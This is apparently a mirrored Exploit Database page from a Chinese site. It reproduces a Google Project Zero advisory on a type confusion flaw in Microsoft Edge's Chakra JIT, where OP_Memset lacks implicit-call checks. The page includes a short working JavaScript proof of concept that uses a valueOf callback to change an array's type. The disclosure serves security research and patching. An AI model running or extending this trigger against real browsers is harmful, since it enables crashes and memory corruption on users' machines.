Microsoft Edge Chakra: JIT – ‘OP_Memset’ Type Confusion

• Exploit Database
• 104 阅读

• 作者： Google Security Research
  日期： 2017-11-16
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43154/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55

  /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1357   function opt(a, b, v) { if (b.length < 1) return;   for (let i = 0; i < a.length; i++) a[i] = v;   b[0] = 2.3023e-320; }   The above JavaScript code is JITed as follows:   ... CHECKING THE TYPE OF B ... OP_Memset(a, v, a.length); b[0] = 2.3023e-320;   But there&apos;s no ImplicitCallFlags checks around OP_Memset. So it fails to detect if the type of "b" was changed after the "OP_Memset" called.   The PoC shows that it can result in type confusion.   PoC: */   function opt(a, b, v) { if (b.length < 1) return;   for (let i = 0; i < a.length; i++) a[i] = v;   b[0] = 2.3023e-320; }   function main() { for (let i = 0; i < 1000; i++) { opt(new Uint8Array(100), [1.1, 2.2, 3.3], {}); }   let a = new Uint8Array(100); let b = [1.1, 2.2, 3.3]; opt(a, b, { valueOf: () => { b[0] = {}; return 0; } });   print(b[0]); }   main();